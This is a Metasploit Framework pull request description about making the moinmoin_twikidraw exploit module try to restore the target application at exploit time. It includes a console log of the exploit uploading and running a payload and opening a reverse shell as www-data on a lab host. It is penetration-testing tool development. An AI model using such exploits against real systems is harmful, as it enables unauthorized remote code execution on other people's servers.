rapid7/metasploit-framework — pull request #1986 by jvazquez-r7 (2013-06-19 16:41:44+00:00)
Title: Try restore also at exploiting time

As pointed by @jlee-r7, trying to restore the application also at exploiting time helps with the exploit confidence. Thanks for the hint! Since the installation path must be known, restoring at exploiting time is difficult. At the moment the module just tries to restore with the default installation path.

In the worse case the application is broken anyway. In the best case you get a little more confident exploit :) The ManualRanking remains. Also the post exploitation task.

Exploit working after changes:

```
msf exploit(moinmoin_twikidraw) > rexploit
[*] Reloading module...

[*] Using anonymous access...
[*] Started reverse double handler
[*] Trying to upload payload...
[*] Executing the payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo yrRkLuZdQxR97K1B;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "yrRkLuZdQxR97K1B\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.240:41212) at 2013-06-19 11:23:43 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N] y

```